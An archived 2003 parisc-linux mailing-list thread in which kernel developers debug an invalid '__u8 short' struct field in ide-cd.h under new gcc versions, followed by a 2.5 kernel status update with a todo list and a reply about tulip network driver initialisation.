Message-ID: <200301141354.h0EDsNjn028670__43859.4383108013$1416622109$gmane$org@hiauly1.hia.nrc.ca>
References: <3DED9A66000057DD@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622109 19921 80.91.229.3 (22 Nov 2014 02:08:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:29 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 06:54:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB8A94829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 06:54:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0EDsOot028671;
	Tue, 14 Jan 2003 08:54:25 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0EDsNjn028670;
	Tue, 14 Jan 2003 08:54:23 -0500 (EST)
In-Reply-To: <3DED9A66000057DD@ocpmta3.freegates.net> from "jsoe0708@tiscali.be" at Jan 14, 2003 11:03:41 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17377

> I have a look and in drivers/ide/ide-cd.h line 440 I found well:
>     __u8 short slot_tabelen;
> 
> Any idea?

Look at the code after preprocessing with "-E" option.  This will
show you the actual code where the fault occurs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-snapshot problem [was: new gcc-default for hppa]
Date: Tue, 14 Jan 2003 14:16:29 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20030114141629.U26554__34220.440084073$1416622110$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3DED9A66000057DD@ocpmta3.freegates.net> <200301141354.h0EDsNjn028670@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622110 19928 80.91.229.3 (22 Nov 2014 02:08:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:30 +0000 (UTC)
Cc: jsoe0708@tiscali.be, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 07:16:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07A2C4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 07:16:31 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18YRrh-0002FZ-00; Tue, 14 Jan 2003 14:16:29 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200301141354.h0EDsNjn028670@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Tue, Jan 14, 2003 at 08:54:22AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17378

On Tue, Jan 14, 2003 at 08:54:22AM -0500, John David Anglin wrote:
> > I have a look and in drivers/ide/ide-cd.h line 440 I found well:
> >     __u8 short slot_tabelen;
> > 
> > Any idea?
> 
> Look at the code after preprocessing with "-E" option.  This will
> show you the actual code where the fault occurs.

well, yeah, but the actual error's pretty clear.  you can't specify
two types for the same variable (__u8 is typedeffed to unsigned char).
unfortunately, gcc used to not even warn about this ;-(

the question is, what size is really wanted here?  i dunno, ask the
maintainer of that file.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-snapshot problem [was: new gcc-default for hppa]
Date: Tue, 14 Jan 2003 15:44:46 +0100
Lines: 103
Approved: news@gmane.org
Message-ID: <3DED9A6600005946__26590.93703046$1416622110$gmane$org@ocpmta3.freegates.net>
References: <200301141354.h0EDsNjn028670@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622110 19939 80.91.229.3 (22 Nov 2014 02:08:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:30 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 07:45:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id B99624829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 07:45:29 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18YSJg-0005XF-00; Tue, 14 Jan 2003 15:45:24 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 14 Jan 2003 15:44:46 +0100
In-Reply-To: <200301141354.h0EDsNjn028670@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17379

>
>> I have a look and in drivers/ide/ide-cd.h line 440 I found well:
>>     __u8 short slot_tabelen;
>> 
>> Any idea?
>
>Look at the code after preprocessing with "-E" option.  This will
>show you the actual code where the fault occurs.
>
Hi Dave,

Good idea and I do so for tree compiler still install:
gcc-3.0 -E

struct atapi_mechstat_header {

        __u8 fault : 1;
        __u8 changer_state : 2;
        __u8 curslot : 5;
# 427 "ide-cd.h"
        __u8 mech_state : 3;
        __u8 door_open : 1;
        __u8 reserved1 : 4;
# 438 "ide-cd.h" 
        byte curlba[3];
        byte nslots;
        __u8 short slot_tablelen;
};

gcc-3.2 -E

struct atapi_mechstat_header {

        __u8 fault : 1;
        __u8 changer_state : 2;
        __u8 curslot : 5;
# 427 "ide-cd.h"
        __u8 mech_state : 3;
        __u8 door_open : 1;
        __u8 reserved1 : 4;
# 438 "ide-cd.h"
        byte curlba[3];
        byte nslots;
        __u8 short slot_tablelen;
};

gcc-3.3 -E

struct atapi_mechstat_header {

        __u8 fault : 1;
        __u8 changer_state : 2;
        __u8 curslot : 5;
# 427 "ide-cd.h"
        __u8 mech_state : 3;
        __u8 door_open : 1;
        __u8 reserved1 : 4;
# 438 "ide-cd.h"
        byte curlba[3];
        byte nslots;
        __u8 short slot_tablelen;
};

Do you notice any difference OTC above I encounter another use of slot_ta=
blelen
as:

struct cdrom_mechstat_header {

        __u8 fault : 1;
        __u8 changer_state : 2;
        __u8 curslot : 5;
        __u8 mech_state : 3;
        __u8 door_open : 1;
        __u8 reserved1 : 4;
# 927 "/usr/src/linux-2.4.20-pa21/include/linux/cdrom.h"
        __u8 curlba[3];
        __u8 nslots;
        __u16 slot_tablelen;
};

hmm could this be a typo at one moment "unsigned short" would be changed
"__u8 short" ???

More over what could be the actual patch:
__u8 slot_tablelen;

or as in the 2d structure

__u16 slot_tablelen;

Cheers,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-snapshot problem [was: new gcc-default for hppa]
Date: Tue, 14 Jan 2003 10:04:14 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200301141504.h0EF4FiQ002740__2549.96393709934$1416622110$gmane$org@hiauly1.hia.nrc.ca>
References: <3DED9A6600005946@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622110 19947 80.91.229.3 (22 Nov 2014 02:08:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:30 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 08:04:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B23CF4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 08:04:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0EF4Fot002742;
	Tue, 14 Jan 2003 10:04:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0EF4FiQ002740;
	Tue, 14 Jan 2003 10:04:15 -0500 (EST)
In-Reply-To: <3DED9A6600005946@ocpmta3.freegates.net> from "jsoe0708@tiscali.be" at Jan 14, 2003 03:44:46 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17380

>         byte nslots;
>         __u8 short slot_tablelen;
          ^^^^ ^^^^^

As Willi said, the error is above and you will have to figure out or
ask the maintainer what the intended type for slot_tablelen was in
this struct.  Look to see if there is a maximum size defined somewhere.

>         __u8 nslots;
>         __u16 slot_tablelen;
> };
> 
> hmm could this be a typo at one moment "unsigned short" would be changed
> "__u8 short" ???

Could be a typo.  However, this is a different struct from the one above,
so the types could be different to accomodate different table sizes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-snapshot problem [was: new gcc-default for hppa]
Date: Tue, 14 Jan 2003 16:28:50 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3DED9A660000598C__12209.3912483708$1416622111$gmane$org@ocpmta3.freegates.net>
References: <200301141504.h0EF4FiQ002740@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622111 19951 80.91.229.3 (22 Nov 2014 02:08:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:31 +0000 (UTC)
Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 08:29:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FAC64829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 08:29:05 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18YSzr-000420-01; Tue, 14 Jan 2003 16:28:59 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 14 Jan 2003 16:28:50 +0100
In-Reply-To: <200301141504.h0EF4FiQ002740@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17381

>-- Original Message --
>Subject: Re: [parisc-linux] new gcc-snapshot problem [was: new gcc-defau=
lt
>for hppa]
>To: jsoe0708@tiscali.be
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: tausq@debian.org, parisc-linux@lists.parisc-linux.org,
>	debian-hppa@lists.debian.org
>Date: Tue, 14 Jan 2003 10:04:14 -0500 (EST)
>
>
>>         byte nslots;
>>         __u8 short slot_tablelen;
>          ^^^^ ^^^^^
>
>As Willi said, the error is above and you will have to figure out or
>ask the maintainer what the intended type for slot_tablelen was in
>this struct.  Look to see if there is a maximum size defined somewhere.
>
>>         __u8 nslots;
>>         __u16 slot_tablelen;
>> };
>> 
Ha the solution stand in 2.4.21: __u16

Thanks,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 status update 2003-01-14
Date: Tue, 14 Jan 2003 15:54:09 +0000
Lines: 137
Approved: news@gmane.org
Message-ID: <20030114155409.X26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622111 19952 80.91.229.3 (22 Nov 2014 02:08:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 08:54:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A32D74829
	for <parisc-linux@parisc-linux.org>; Tue, 14 Jan 2003 08:54:10 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18YTOD-0003dn-00
	for parisc-linux@parisc-linux.org; Tue, 14 Jan 2003 15:54:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17382

A new year, a new kernel.  Er, lots of new kernels.  So much stuff has been
going on, I hope I haven't left too much out (note: do these more often).

 - Lamont prompted me to fix dino_inb/inw/outb/outw, and the airo driver.
 - Lamont wrote faster ip_csum routines.
 - Helge went completely nuts on drivers/video ;-)
 - James did some of the merges while I was away over xmas, and did a lot
   of work converting us over to the generic device model.
 - James & Randolph also finally tracked down a big stability problem;
   needed to check signals more often.
 - Lamont improved the unaligned handler.
 - We have a new framebuffer penguin ;-)  Thanks, Thibaut!
 - Randolph wrote oprofile support for parisc.
 - I found & fixed the cause of init failing to start on my 712 -- the
   kernel was trying to make sure there was at least 80MB ram available
   for each process.
 - I integrated Stephen Rothwell's generic compat changes & Sam Ravnborg's
   Makefile changes.

We did a large merge into Linus' tree yesterday, and he put out 2.5.58
today, leaving our diff standing around:

-rw-r--r--    1 willy    willy      376145 Jan 14 08:38 parisc-2.5.diff

I think that's the smallest it's ever been.

The largest chunks of that are:

-rw-r--r--    1 willy    willy      166953 Jan 12 07:54 parisc-hil.diff
-rw-r--r--    1 willy    willy      151345 Jan 12 07:47 parisc-video.diff

I'm not worried about drivers/video; Helge's doing a great job staying
synchronised with James Simmons' fb tree and that artificially inflates
that diff.

I am a little worried about the HIL keyboard/mouse/etc.  If someone could
step up to take care of making them work in 2.5 and generally look after
them, that'd be great.


Here's the current todo list:

Status:
-------
 - Merged to 2.5.58
 - 2.5.57 booted on A500.  712 has serial problems.
 - 2.5.56 booted on A500, 712
 - Don't know what other patches need to be brought forward from 2.4
 - SMP compiles, but doesn't work yet
 - No preemptible support


Todo:
-----
 - review makefiles for safe parallel builds
 - review diff vs 2.4 for additional changes
 - Serial code not working for c3000 (helge)
 - the fix for do_fork needs checking
 - Some options still need Kconfig help entries
 - drivers/char/keyboard.c:987:2: warning: #warning "Cannot generate rawmode
        keyboard for your architecture yet."
 - our PDC early debug console hacks need to be cleaned up somehow
 - drivers/pci/setup-bus.c has a hppa-specific #ifdef right now to
   prevent pci reinit from hpmc'ing the machine. this probably needs to
   go upstream
 - ad1889 driver - stress, debug, ALSA and commit to 2.5 (ggg, tausq, tbone)
 - ns87415 dma doesn't work reliably on suckyio-systems
 - CPU hotplug support (maybe not needed, V-Class doesn't support that feature)
 - flush_tlb_kernel_range is horribly inefficient
 - flush_icache_user_range could flush just that range rather than the
   entire page.
 - (ab)use kmap/kunmap on 64-bit to eliminate flush_dcache calls.
 - cp_new_stat32 for sys_parisc32.c is inefficient; maybe it's better
   to fill in a tmp stat32 and just do copy_to_user in one go at the end?
 - syscall signal return path needs work
 - task_struct/thread_info split -- task_struct should not be visible in
   entry.S, we need to move some items into thread_info -- this includes
   pt_regs and maybe some of the flags (ptrace, etc)
 - Use zone_highmem for the 256MB of RAM at 64GB on Astro-based machines.
   (NB, what does Stretch do?)
 - investigate not putting in extable entries for put_kernel_asm; will
   probably reduce kernel size
 - call to pdc_suspend_usb() in inventory.c crashes c3k with kernel 2.5
 - fix harmony buffer-overflows
 - fix HIL problem: ksoftirqd eats 100% cpu (kernel 2.4; kernel 2.5?)
 - write floppy driver for lasi
 - write floppy driver for suckyio
 - CONFIG_INTERMEZZO_FS   doesn't build (or link) (missing intermezzo includes, arch-indep)
 - CONFIG_REISERFS_FS builds (and links), works built-in
 - CONFIG_XFS_FS builds (and links), infinite loop when mounting volume.
 - spifi driver (rbrad)
 - write optimized versions of lcopy_{to,from}_user. Can we port the
   hpux versions?
 - changes in arch/parisc/kernel/signal.c regarding HACK needs testing
 - signal.c #if CACHE_FLUSHING_IS_NOT_BROKEN needs to be solved
 - proc files are b0rken (interrupts), possible irqi funcs related pb.
 - the irq needs to go from doubly-indexed to singly-indexed scheme, or else fs/proc/proc_misc.c needs changes.
 - kernel module loader support
 - IRQ cpu-affinity support
 - NPTL kernel support (CLONE_*TID flags need to be correctly handled by
   sys_clone() and friends)

 Started and in progress:
 ------------------------
 - port sym53c8xx hppa changes forward (helge)
 - push STI changes upstream (helge)
 - Look at Config.help too. (tbone, HIL -> helge?)
 - send tulip changes to jgarzik (grant)
 - switching Harmony to ALSA (laurent)
 - remove all references to sti(), cli(), save_flags() and restore_flags() (willy, tbone, ...)
 - send pci-serial patches to rmk (tausq)
 - port hil_kbd.c to new input layer
 - port hil_ptr.c to new input layer
 - oprofile support (tausq)


 Done:
 -----
 - stifb & sticon compiles and works (helge)
 - port ns87415 hppa changes forward (grant)
 - implemented synchronize_irq(). (grant)
 - port hp_keyb.c to input layer (laurent, tbone)


 CONFIG options without help:
 -----------------------------
 _USB_OHCI_HCD (add parisc info?)
 _HP_SDC_RTC
 _HIL_MLC
 _HIL_KBD (to improve)
 _HIL_PTR (to improve)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 14 Jan 2003 09:52:03 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20030114165202.GA32537__2538.75051062114$1416622111$gmane$org@dsl2.external.hp.com>
References: <20030113193826.GA1938@dsl2.external.hp.com> <3DED9A660000572D@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622111 19954 80.91.229.3 (22 Nov 2014 02:08:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:31 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 09:52:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1F8AE4829; Tue, 14 Jan 2003 09:52:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3DED9A660000572D@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17383

On Tue, Jan 14, 2003 at 07:57:01AM +0100, jsoe0708@tiscali.be wrote:
> Linux Tulip driver version 0.9.15-pre12 (Aug 9, 2002)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
> eth0: Digital DS21143 Tulip rev 65 at 0xf00, 00:30:D3:01:5A:3B, IRQ 66.
> tulip1:  EEPROM default media type Autosense.
> tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
> tulip_mii_recover: 100 ms
> tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
> tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
> eth1: Digital DS21143 Tulip rev 65 at 0x12100, 00:30:6E:06:23:D0, IRQ 130.
> Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
> ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> ....
> 
> No chance, as you can see, the two interfaces are of the same time.

I'll assume you meant same "type". They only happen to be the same rev
of the same device - mounted on different boards and wired
up to the PHY differently. ie they excercise slighly different code
paths in the tulip media init code path. This sounds more like a
bug in tulip driver than a compiler bug.

I've not tried add-on tulip's in my c3k (only minor differences to b2k).
I believe (but am not 100% sure right now) that gcc-3.2 built kernels
worked on that box.  I am sure gcc-3.2 built 2.4 kernels worked on a500.

